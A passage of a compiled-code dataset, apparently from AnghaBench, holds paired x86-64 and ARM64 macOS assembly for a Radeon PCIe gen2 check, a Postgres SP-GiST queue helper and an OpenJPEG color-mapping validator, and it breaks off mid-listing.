.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r14
pushq %rbx
.cfi_offset %rbx, -32
.cfi_offset %r14, -24
movq %rdi, %rbx
callq _rv770_get_pi
movq %rax, %r14
movq _PCIE_LC_SPEED_CNTL@GOTPCREL(%rip), %rax
movl (%rax), %edi
callq _RREG32_PCIE_PORT
movq _LC_OTHER_SIDE_EVER_SENT_GEN2@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_3
## %bb.1:
movq _LC_OTHER_SIDE_SUPPORTS_GEN2@GOTPCREL(%rip), %rcx
testl %eax, (%rcx)
je LBB0_3
## %bb.2:
movl $1, (%r14)
jmp LBB0_4
LBB0_3:
movl $0, (%r14)
movq _PCIE_PERF_REQ_PECI_GEN2@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %rbx, %rdi
movl $1, %edx
callq _ni_pcie_performance_request
LBB0_4:
xorl %eax, %eax
popq %rbx
popq %r14
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _PCIE_LC_SPEED_CNTL,4,2 ## @PCIE_LC_SPEED_CNTL
.comm _LC_OTHER_SIDE_EVER_SENT_GEN2,4,2 ## @LC_OTHER_SIDE_EVER_SENT_GEN2
.comm _LC_OTHER_SIDE_SUPPORTS_GEN2,4,2 ## @LC_OTHER_SIDE_SUPPORTS_GEN2
.comm _PCIE_PERF_REQ_PECI_GEN2,4,2 ## @PCIE_PERF_REQ_PECI_GEN2
.no_dead_strip _ni_advertise_gen2_capability
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function ni_advertise_gen2_capability
_ni_advertise_gen2_capability: ; @ni_advertise_gen2_capability
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
bl _rv770_get_pi
mov x20, x0
Lloh0:
adrp x8, _PCIE_LC_SPEED_CNTL@GOTPAGE
Lloh1:
ldr x8, [x8, _PCIE_LC_SPEED_CNTL@GOTPAGEOFF]
Lloh2:
ldr w0, [x8]
bl _RREG32_PCIE_PORT
Lloh3:
adrp x8, _LC_OTHER_SIDE_EVER_SENT_GEN2@GOTPAGE
Lloh4:
ldr x8, [x8, _LC_OTHER_SIDE_EVER_SENT_GEN2@GOTPAGEOFF]
Lloh5:
ldr w8, [x8]
tst w8, w0
b.eq LBB0_3
; %bb.1:
Lloh6:
adrp x8, _LC_OTHER_SIDE_SUPPORTS_GEN2@GOTPAGE
Lloh7:
ldr x8, [x8, _LC_OTHER_SIDE_SUPPORTS_GEN2@GOTPAGEOFF]
Lloh8:
ldr w8, [x8]
tst w8, w0
b.eq LBB0_3
; %bb.2:
mov w8, #1
str w8, [x20]
b LBB0_4
LBB0_3:
str wzr, [x20]
Lloh9:
adrp x8, _PCIE_PERF_REQ_PECI_GEN2@GOTPAGE
Lloh10:
ldr x8, [x8, _PCIE_PERF_REQ_PECI_GEN2@GOTPAGEOFF]
Lloh11:
ldr w1, [x8]
mov x0, x19
mov w2, #1
bl _ni_pcie_performance_request
LBB0_4:
mov w0, #0
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpLdrGotLdr Lloh6, Lloh7, Lloh8
.loh AdrpLdrGotLdr Lloh9, Lloh10, Lloh11
.cfi_endproc
; -- End function
.comm _PCIE_LC_SPEED_CNTL,4,2 ; @PCIE_LC_SPEED_CNTL
.comm _LC_OTHER_SIDE_EVER_SENT_GEN2,4,2 ; @LC_OTHER_SIDE_EVER_SENT_GEN2
.comm _LC_OTHER_SIDE_SUPPORTS_GEN2,4,2 ; @LC_OTHER_SIDE_SUPPORTS_GEN2
.comm _PCIE_PERF_REQ_PECI_GEN2,4,2 ; @PCIE_PERF_REQ_PECI_GEN2
.no_dead_strip _ni_advertise_gen2_capability
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/drm/radeon/extr_ni_dpm.c_ni_advertise_gen2_capability.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function spgGetNextQueueItem
_spgGetNextQueueItem: ## @spgGetNextQueueItem
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movl (%rdi), %edi
callq _pairingheap_is_empty
testq %rax, %rax
je LBB0_2
## %bb.1:
xorl %eax, %eax
jmp LBB0_3
LBB0_2:
movl (%rbx), %edi
callq _pairingheap_remove_first
LBB0_3:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _spgGetNextQueueItem
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function spgGetNextQueueItem
_spgGetNextQueueItem: ; @spgGetNextQueueItem
.cfi_startproc
; %bb.0:
stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x19, x0
ldr w0, [x0]
bl _pairingheap_is_empty
cbz x0, LBB0_2
; %bb.1:
mov x0, #0
b LBB0_3
LBB0_2:
ldr w0, [x19]
bl _pairingheap_remove_first
LBB0_3:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
ldp x20, x19, [sp], #32 ; 16-byte Folded Reload
ret
.cfi_endproc
; -- End function
.no_dead_strip _spgGetNextQueueItem
.subsections_via_symbols
| AnghaBench/postgres/src/backend/access/spgist/extr_spgscan.c_spgGetNextQueueItem.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function opj_jp2_check_color
_opj_jp2_check_color: ## @opj_jp2_check_color
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r15
movq %rdi, -64(%rbp) ## 8-byte Spill
movq (%rsi), %rax
movq 8(%rsi), %rcx
testq %rcx, %rcx
je LBB0_23
## %bb.1:
testq %rax, %rax
jne LBB0_4
## %bb.2:
cmpq $0, 8
je LBB0_3
LBB0_4:
movl (%rax), %r8d
LBB0_5:
movq (%rcx), %rdx
movq 8(%rcx), %rsi
xorl %edi, %edi
jmp LBB0_6
.p2align 4, 0x90
LBB0_13: ## in Loop: Header=BB0_6 Depth=1
incq %rdi
cmpq %rdx, %rdi
ja LBB0_15
LBB0_6: ## =>This Inner Loop Header: Depth=1
movl (%rsi,%rdi,8), %ecx
cmpl %r8d, %ecx
jae LBB0_7
## %bb.9: ## in Loop: Header=BB0_6 Depth=1
movl 4(%rsi,%rdi,8), %ecx
testl %ecx, %ecx
je LBB0_13
## %bb.10: ## in Loop: Header=BB0_6 Depth=1
cmpl $65535, %ecx ## imm = 0xFFFF
je LBB0_13
## %bb.11: ## in Loop: Header=BB0_6 Depth=1
leal 1(%rcx), %r9d
cmpl %r8d, %r9d
jb LBB0_13
## %bb.12:
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
decl %ecx
leaq L_.str(%rip), %rdx
movq %r15, %rdi
## kill: def $ecx killed $ecx killed $rcx
jmp LBB0_8
.p2align 4, 0x90
LBB0_14: ## in Loop: Header=BB0_15 Depth=1
decl %r8d
je LBB0_23
LBB0_15: ## =>This Loop Header: Depth=1
## Child Loop BB0_19 Depth 2
testq %rdx, %rdx
je LBB0_16
## %bb.18: ## in Loop: Header=BB0_15 Depth=1
leal -1(%r8), %edi
xorl %ecx, %ecx
.p2align 4, 0x90
LBB0_19: ## Parent Loop BB0_15 Depth=1
## => This Inner Loop Header: Depth=2
cmpl %edi, (%rsi,%rcx,8)
je LBB0_17
## %bb.20: ## in Loop: Header=BB0_19 Depth=2
incq %rcx
cmpq %rcx, %rdx
jne LBB0_19
jmp LBB0_21
.p2align 4, 0x90
LBB0_16: ## in Loop: Header=BB0_15 Depth=1
xorl %ecx, %ecx
LBB0_17: ## in Loop: Header=BB0_15 Depth=1
cmpq %rdx, %rcx
jne LBB0_14
LBB0_21:
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str.1(%rip), %rdx
LBB0_22:
movq %r15, %rdi
xorl %eax, %eax
callq _opj_event_msg
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
jmp LBB0_72
LBB0_23:
testq %rax, %rax
je LBB0_71
## %bb.24:
movq 8(%rax), %r13
testq %r13, %r13
je LBB0_71
## %bb.25:
movq (%rax), %rbx
movq _OPJ_TRUE@GOTPCREL(%rip), %rax
movl (%rax), %r14d
testq %rbx, %rbx
je LBB0_36
## %bb.26:
movq %r15, %r12
movq %r13, -56(%rbp) ## 8-byte Spill
movq %rbx, %r15
jmp LBB0_27
.p2align 4, 0x90
LBB0_29: ## in Loop: Header=BB0_27 Depth=1
addq $12, %r13
decq %r15
je LBB0_30
LBB0_27: ## =>This Inner Loop Header: Depth=1
movl (%r13), %ecx
movq -64(%rbp), %rax ## 8-byte Reload
movl (%rax), %r8d
cmpl %r8d, %ecx
jb LBB0_29
## %bb.28: ## in Loop: Header=BB0_27 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r12, %rdi
leaq L_.str(%rip), %rdx
xorl %eax, %eax
callq _opj_event_msg
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
movl (%rax), %r14d
jmp LBB0_29
LBB0_7:
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str(%rip), %rdx
movq %r15, %rdi
LBB0_8:
## kill: def $r8d killed $r8d killed $r8
xorl %eax, %eax
callq _opj_event_msg
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
jmp LBB0_72
LBB0_30:
movq %rbx, %rdi
movl $4, %esi
callq _opj_calloc
movq %rax, -48(%rbp) ## 8-byte Spill
testq %rax, %rax
movq %r12, %r15
movq -56(%rbp), %rax ## 8-byte Reload
je LBB0_37
## %bb.31:
leaq 8(%rax), %r12
xorl %r13d, %r13d
.p2align 4, 0x90
LBB0_32: ## =>This Inner Loop Header: Depth=1
movl -4(%r12), %r8d
cmpl $2, %r8d
jb LBB0_38
## %bb.33: ## in Loop: Header=BB0_32 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.3(%rip), %rdx
movq %r13, %rcx
LBB0_34: ## in Loop: Header=BB0_32 Depth=1
xorl %eax, %eax
callq _opj_event_msg
jmp LBB0_35
.p2align 4, 0x90
LBB0_38: ## in Loop: Header=BB0_32 Depth=1
movslq (%r12), %r9
cmpq %r9, %rbx
jbe LBB0_39
## %bb.41: ## in Loop: Header=BB0_32 Depth=1
cmpl $1, %r8d
jne LBB0_44
## %bb.42: ## in Loop: Header=BB0_32 Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
cmpl $0, (%rax,%r9,4)
je LBB0_44
## %bb.43: ## in Loop: Header=BB0_32 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.5(%rip), %rdx
jmp LBB0_40
.p2align 4, 0x90
LBB0_39: ## in Loop: Header=BB0_32 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.4(%rip), %rdx
LBB0_40: ## in Loop: Header=BB0_32 Depth=1
movl %r9d, %ecx
xorl %eax, %eax
callq _opj_event_msg
LBB0_35: ## in Loop: Header=BB0_32 Depth=1
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
movl (%rax), %r14d
LBB0_49: ## in Loop: Header=BB0_32 Depth=1
incq %r13
addq $12, %r12
cmpq %r13, %rbx
jne LBB0_32
jmp LBB0_50
LBB0_44: ## in Loop: Header=BB0_32 Depth=1
testl %r8d, %r8d
sete %al
testl %r9d, %r9d
setne %cl
andb %al, %cl
cmpb $1, %cl
jne LBB0_46
## %bb.45: ## in Loop: Header=BB0_32 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.6(%rip), %rdx
movq %r13, %rcx
movl %r9d, %r8d
jmp LBB0_34
LBB0_46: ## in Loop: Header=BB0_32 Depth=1
cmpl $1, %r8d
setne %al
cmpq %r9, %r13
sete %cl
orb %al, %cl
jne LBB0_48
## %bb.47: ## in Loop: Header=BB0_32 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.7(%rip), %rdx
movq %r13, %rcx
movq %r13, %r8
## kill: def $r9d killed $r9d killed $r9
xorl %eax, %eax
callq _opj_event_msg
jmp LBB0_35
LBB0_48: ## in Loop: Header=BB0_32 Depth=1
movq _OPJ_TRUE@GOTPCREL(%rip), %rax
movl (%rax), %eax
movq -48(%rbp), %rcx ## 8-byte Reload
movl %eax, (%rcx,%r9,4)
jmp LBB0_49
LBB0_3:
movq -64(%rbp), %rdx ## 8-byte Reload
movl (%rdx), %r8d
jmp LBB0_5
LBB0_50:
movq -56(%rbp), %rax ## 8-byte Reload
leaq 4(%rax), %r12
xorl %r13d, %r13d
jmp LBB0_51
.p2align 4, 0x90
LBB0_54: ## in Loop: Header=BB0_51 Depth=1
incq %r13
addq $12, %r12
cmpq %r13, %rbx
je LBB0_55
LBB0_51: ## =>This Inner Loop Header: Depth=1
movq -48(%rbp), %rax ## 8-byte Reload
cmpl $0, (%rax,%r13,4)
jne LBB0_54
## %bb.52: ## in Loop: Header=BB0_51 Depth=1
cmpl $0, (%r12)
je LBB0_54
## %bb.53: ## in Loop: Header=BB0_51 Depth=1
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq %r15, %rdi
leaq L_.str.8(%rip), %rdx
movq %r13, %rcx
xorl %eax, %eax
callq _opj_event_msg
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
movl (%rax), %r14d
jmp LBB0_54
LBB0_55:
movq -56(%rbp), %r13 ## 8-byte Reload
jmp LBB0_56
LBB0_36:
movq %rbx, %rdi
movl $4, %esi
callq _opj_calloc
movq %rax, -48(%rbp) ## 8-byte Spill
testq %rax, %rax
je LBB0_37
LBB0_56:
testl %r14d, %r14d
je LBB0_57
## %bb.58:
movq -64(%rbp), %rax ## 8-byte Reload
cmpl $1, (%rax)
setne %al
testq %rbx, %rbx
sete %cl
orb %al, %cl
jne LBB0_70
## %bb.59:
xorl %ecx, %ecx
movq -48(%rbp), %rax ## 8-byte Reload
.p2align 4, 0x90
LBB0_60: ## =>This Inner Loop Header: Depth=1
cmpl $0, (%rax,%rcx,4)
je LBB0_61
## %bb.69: ## in Loop: Header=BB0_60 Depth=1
incq %rcx
cmpq %rcx, %rbx
jne LBB0_60
LBB0_70:
movq -48(%rbp), %rdi ## 8-byte Reload
callq _opj_free
LBB0_71:
movq _OPJ_TRUE@GOTPCREL(%rip), %rax
LBB0_72:
movl (%rax), %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_37:
movq _EVT_ERROR@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str.2(%rip), %rdx
jmp LBB0_22
LBB0_57:
movq -48(%rbp), %rdi ## 8-byte Reload
callq _opj_free
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
jmp LBB0_72
LBB0_61:
movq _EVT_WARNING@GOTPCREL(%rip), %rax
movl (%rax), %esi
leaq L_.str.9(%rip), %rdx
xorl %r14d, %r14d
movq %r15, %rdi
xorl %eax, %eax
callq _opj_event_msg
movq _OPJ_TRUE@GOTPCREL(%rip), %rax
movl (%rax), %r15d
movl %ebx, %eax
andl $3, %eax
cmpq $4, %rbx
jb LBB0_64
## %bb.62:
andq $-4, %rbx
leaq 44(%r13), %rcx
xorl %r14d, %r14d
.p2align 4, 0x90
LBB0_63: ## =>This Inner Loop Header: Depth=1
movl $1, -40(%rcx)
movl %r14d, -36(%rcx)
movl $1, -28(%rcx)
leal 1(%r14), %edx
movl %edx, -24(%rcx)
movl $1, -16(%rcx)
leal 2(%r14), %edx
movl %edx, -12(%rcx)
movl $1, -4(%rcx)
leal 3(%r14), %edx
movl %edx, (%rcx)
addq $4, %r14
addq $48, %rcx
cmpq %rbx, %r14
jne LBB0_63
LBB0_64:
testq %rax, %rax
je LBB0_67
## %bb.65:
leaq (%r14,%r14,2), %rcx
leaq 8(,%rcx,4), %rcx
addq %r13, %rcx
shll $2, %eax
leaq (%rax,%rax,2), %rax
xorl %edx, %edx
.p2align 4, 0x90
LBB0_66: ## =>This Inner Loop Header: Depth=1
movl $1, -4(%rcx,%rdx)
movl %r14d, (%rcx,%rdx)
incl %r14d
addq $12, %rdx
cmpq %rdx, %rax
jne LBB0_66
LBB0_67:
movq -48(%rbp), %rdi ## 8-byte Reload
callq _opj_free
testl %r15d, %r15d
jne LBB0_71
## %bb.68:
movq _OPJ_FALSE@GOTPCREL(%rip), %rax
jmp LBB0_72
.cfi_endproc
## -- End function
.comm _EVT_ERROR,4,2 ## @EVT_ERROR
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Invalid component index %d (>= %d).\n"
.comm _OPJ_FALSE,4,2 ## @OPJ_FALSE
L_.str.1: ## @.str.1
.asciz "Incomplete channel definitions.\n"
.comm _OPJ_TRUE,4,2 ## @OPJ_TRUE
L_.str.2: ## @.str.2
.asciz "Unexpected OOM.\n"
L_.str.3: ## @.str.3
.asciz "Invalid value for cmap[%d].mtyp = %d.\n"
L_.str.4: ## @.str.4
.asciz "Invalid component/palette index for direct mapping %d.\n"
L_.str.5: ## @.str.5
.asciz "Component %d is mapped twice.\n"
L_.str.6: ## @.str.6
.asciz "Direct use at #%d however pcol=%d.\n"
L_.str.7: ## @.str.7
.asciz "Implementation limitation: for palette mapping, pcol[%d] should be equal to %d, but is equal to %d.\n"
L_.str.8: ## @.str.8
.asciz "Component %d doesn't have a mapping.\n"
.comm _EVT_WARNING,4,2 ## @EVT_WARNING
L_.str.9: ## @.str.9
.asciz "Component mapping seems wrong. Trying to correct.\n"
.no_dead_strip _opj_jp2_check_color
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function opj_jp2_check_color
_opj_jp2_check_color: ; @opj_jp2_check_color
.cfi_startproc
; %bb.0:
sub sp, sp, #128
stp x28, x27, [sp, #32] ; 16-byte Folded Spill
stp x26, x25, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
mov x19, x2
mov x20, x0
ldp x8, x10, [x1]
cbz x10, LBB0_15
; %bb.1:
ldp x11, x9, [x10]
cbnz x8, LBB0_3
; %bb.2:
mov w10, #8 ; =0x8
ldr x10, [x10]
cbz x10, LBB0_44
LBB0_3:
ldr w10, [x8]
LBB0_4:
mov x12, #0 ; =0x0
add x13, x9, #4
mov w14, #65535 ; =0xffff
LBB0_5: ; =>This Inner Loop Header: Depth=1
ldur w15, [x13, #-4]
cmp w15, w10
b.hs LBB0_22
; %bb.6: ; in Loop: Header=BB0_5 Depth=1
ldr w15, [x13]
cmp w15, #0
ccmp w15, w14, #4, ne
add w16, w15, #1
ccmp w16, w10, #0, ne
b.hs LBB0_40
; %bb.7: ; in Loop: Header=BB0_5 Depth=1
add x12, x12, #1
add x13, x13, #8
cmp x12, x11
b.ls LBB0_5
b LBB0_9
LBB0_8: ; in Loop: Header=BB0_9 Depth=1
subs w10, w10, #1
b.eq LBB0_15
LBB0_9: ; =>This Loop Header: Depth=1
; Child Loop BB0_11 Depth 2
mov x12, #0 ; =0x0
cbz x11, LBB0_13
; %bb.10: ; in Loop: Header=BB0_9 Depth=1
sub w13, w10, #1
mov x14, x9
LBB0_11: ; Parent Loop BB0_9 Depth=1
; => This Inner Loop Header: Depth=2
ldr w15, [x14], #8
cmp w15, w13
b.eq LBB0_13
; %bb.12: ; in Loop: Header=BB0_11 Depth=2
add x12, x12, #1
cmp x11, x12
b.ne LBB0_11
b LBB0_14
LBB0_13: ; in Loop: Header=BB0_9 Depth=1
cmp x12, x11
b.ne LBB0_8
LBB0_14:
Lloh0:
adrp x8, _EVT_ERROR@GOTPAGE
Lloh1:
ldr x8, [x8, _EVT_ERROR@GOTPAGEOFF]
Lloh2:
ldr w1, [x8]
Lloh3:
adrp x2, l_.str.1@PAGE
Lloh4:
add x2, x2, l_.str.1@PAGEOFF
b LBB0_42
LBB0_15:
cbz x8, LBB0_56
; %bb.16:
ldr x28, [x8, #8]
cbz x28, LBB0_56
; %bb.17:
ldr x21, [x8]
Lloh5:
adrp x8, _OPJ_TRUE@GOTPAGE
Lloh6:
ldr x8, [x8, _OPJ_TRUE@GOTPAGEOFF]
Lloh7:
ldr w26, [x8]
cbz x21, LBB0_58
; %bb.18:
Lloh8:
adrp x24, _EVT_ERROR@GOTPAGE
Lloh9:
ldr x24, [x24, _EVT_ERROR@GOTPAGEOFF]
Lloh10:
adrp x25, _OPJ_FALSE@GOTPAGE
Lloh11:
ldr x25, [x25, _OPJ_FALSE@GOTPAGEOFF]
mov x23, x28
mov x27, x21
Lloh12:
adrp x22, l_.str@PAGE
Lloh13:
add x22, x22, l_.str@PAGEOFF
b LBB0_20
LBB0_19: ; in Loop: Header=BB0_20 Depth=1
subs x27, x27, #1
b.eq LBB0_23
LBB0_20: ; =>This Inner Loop Header: Depth=1
ldr w8, [x23], #12
ldr w9, [x20]
cmp w8, w9
b.lo LBB0_19
; %bb.21: ; in Loop: Header=BB0_20 Depth=1
ldr w1, [x24]
stp x8, x9, [sp]
mov x0, x19
mov x2, x22
bl _opj_event_msg
ldr w26, [x25]
b LBB0_19
LBB0_22:
Lloh14:
adrp x8, _EVT_ERROR@GOTPAGE
Lloh15:
ldr x8, [x8, _EVT_ERROR@GOTPAGEOFF]
Lloh16:
ldr w1, [x8]
stp x15, x10, [sp]
b LBB0_41
LBB0_23:
mov x0, x21
mov w1, #4 ; =0x4
bl _opj_calloc
cbz x0, LBB0_61
; %bb.24:
mov x22, x0
mov x27, #0 ; =0x0
str x28, [sp, #24] ; 8-byte Folded Spill
add x28, x28, #8
Lloh17:
adrp x23, l_.str.3@PAGE
Lloh18:
add x23, x23, l_.str.3@PAGEOFF
LBB0_25: ; =>This Inner Loop Header: Depth=1
ldur w9, [x28, #-4]
cmp w9, #2
b.lo LBB0_27
; %bb.26: ; in Loop: Header=BB0_25 Depth=1
ldr w1, [x24]
stp x27, x9, [sp]
mov x0, x19
mov x2, x23
b LBB0_34
LBB0_27: ; in Loop: Header=BB0_25 Depth=1
ldrsw x8, [x28]
cmp x21, x8
b.ls LBB0_32
; %bb.28: ; in Loop: Header=BB0_25 Depth=1
ldr w10, [x22, x8, lsl #2]
cmp w9, #1
ccmp w10, #0, #4, eq
b.ne LBB0_33
; %bb.29: ; in Loop: Header=BB0_25 Depth=1
cbnz w9, LBB0_36
; %bb.30: ; in Loop: Header=BB0_25 Depth=1
cbz w8, LBB0_36
; %bb.31: ; in Loop: Header=BB0_25 Depth=1
ldr w1, [x24]
stp x27, x8, [sp]
mov x0, x19
Lloh19:
adrp x2, l_.str.6@PAGE
Lloh20:
add x2, x2, l_.str.6@PAGEOFF
b LBB0_34
LBB0_32: ; in Loop: Header=BB0_25 Depth=1
ldr w1, [x24]
str x8, [sp]
mov x0, x19
Lloh21:
adrp x2, l_.str.4@PAGE
Lloh22:
add x2, x2, l_.str.4@PAGEOFF
b LBB0_34
LBB0_33: ; in Loop: Header=BB0_25 Depth=1
ldr w1, [x24]
str x8, [sp]
mov x0, x19
Lloh23:
adrp x2, l_.str.5@PAGE
Lloh24:
add x2, x2, l_.str.5@PAGEOFF
LBB0_34: ; in Loop: Header=BB0_25 Depth=1
bl _opj_event_msg
ldr w26, [x25]
LBB0_35: ; in Loop: Header=BB0_25 Depth=1
add x28, x28, #12
add x27, x27, #1
cmp x21, x27
b.ne LBB0_25
b LBB0_45
LBB0_36: ; in Loop: Header=BB0_25 Depth=1
cmp w9, #1
b.ne LBB0_39
; %bb.37: ; in Loop: Header=BB0_25 Depth=1
cmp x27, x8
b.eq LBB0_39
; %bb.38: ; in Loop: Header=BB0_25 Depth=1
ldr w1, [x24]
stp x27, x8, [sp, #8]
str x27, [sp]
mov x0, x19
Lloh25:
adrp x2, l_.str.7@PAGE
Lloh26:
add x2, x2, l_.str.7@PAGEOFF
b LBB0_34
LBB0_39: ; in Loop: Header=BB0_25 Depth=1
Lloh27:
adrp x9, _OPJ_TRUE@GOTPAGE
Lloh28:
ldr x9, [x9, _OPJ_TRUE@GOTPAGEOFF]
Lloh29:
ldr w9, [x9]
str w9, [x22, x8, lsl #2]
b LBB0_35
LBB0_40:
Lloh30:
adrp x8, _EVT_ERROR@GOTPAGE
Lloh31:
ldr x8, [x8, _EVT_ERROR@GOTPAGEOFF]
Lloh32:
ldr w1, [x8]
sub w8, w15, #1
; kill: def $w10 killed $w10 killed $x10 def $x10
stp x8, x10, [sp]
LBB0_41:
Lloh33:
adrp x2, l_.str@PAGE
Lloh34:
add x2, x2, l_.str@PAGEOFF
LBB0_42:
mov x0, x19
bl _opj_event_msg
LBB0_43:
Lloh35:
adrp x8, _OPJ_FALSE@GOTPAGE
Lloh36:
ldr x8, [x8, _OPJ_FALSE@GOTPAGEOFF]
b LBB0_57
LBB0_44:
ldr w10, [x20]
b LBB0_4
LBB0_45:
mov x27, #0 ; =0x0
ldr x8, [sp, #24] ; 8-byte Folded Reload
add x28, x8, #4
Lloh37:
adrp x23, l_.str.8@PAGE
Lloh38:
add x23, x23, l_.str.8@PAGEOFF
b LBB0_47
LBB0_46: ; in Loop: Header=BB0_47 Depth=1
add x27, x27, #1
add x28, x28, #12
cmp x21, x27
b.eq LBB0_50
LBB0_47: ; =>This Inner Loop Header: Depth=1
ldr w8, [x22, x27, lsl #2]
cbnz w8, LBB0_46
; %bb.48: ; in Loop: Header=BB0_47 Depth=1
ldr w8, [x28]
cbz w8, LBB0_46
; %bb.49: ; in Loop: Header=BB0_47 Depth=1
ldr w1, [x24]
str x27, [sp]
mov x0, x19
mov x2, x23
bl _opj_event_msg
ldr w26, [x25]
b LBB0_46
LBB0_50:
ldr x28, [sp, #24] ; 8-byte Folded Reload
cbz w26, LBB0_60
LBB0_51:
ldr w8, [x20]
cmp w8, #1
ccmp x21, #0, #4, eq
b.eq LBB0_55
; %bb.52:
mov x8, #0 ; =0x0
LBB0_53: ; =>This Inner Loop Header: Depth=1
ldr w9, [x22, x8, lsl #2]
cbz w9, LBB0_62
; %bb.54: ; in Loop: Header=BB0_53 Depth=1
add x8, x8, #1
cmp x21, x8
b.ne LBB0_53
LBB0_55:
mov x0, x22
bl _opj_free
LBB0_56:
Lloh39:
adrp x8, _OPJ_TRUE@GOTPAGE
Lloh40:
ldr x8, [x8, _OPJ_TRUE@GOTPAGEOFF]
LBB0_57:
ldr w0, [x8]
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp x26, x25, [sp, #48] ; 16-byte Folded Reload
ldp x28, x27, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #128
ret
LBB0_58:
mov x0, x21
mov w1, #4 ; =0x4
bl _opj_calloc
cbz x0, LBB0_61
; %bb.59:
mov x22, x0
cbnz w26, LBB0_51
LBB0_60:
mov x0, x22
bl _opj_free
b LBB0_43
LBB0_61:
Lloh41:
adrp x8, _EVT_ERROR@GOTPAGE
Lloh42:
ldr x8, [x8, _EVT_ERROR@GOTPAGEOFF]
Lloh43:
ldr w1, [x8]
Lloh44:
adrp x2, l_.str.2@PAGE
Lloh45:
add x2, x2, l_.str.2@PAGEOFF
b LBB0_42
LBB0_62:
Lloh46:
adrp x9, _EVT_WARNING@GOTPAGE
Lloh47:
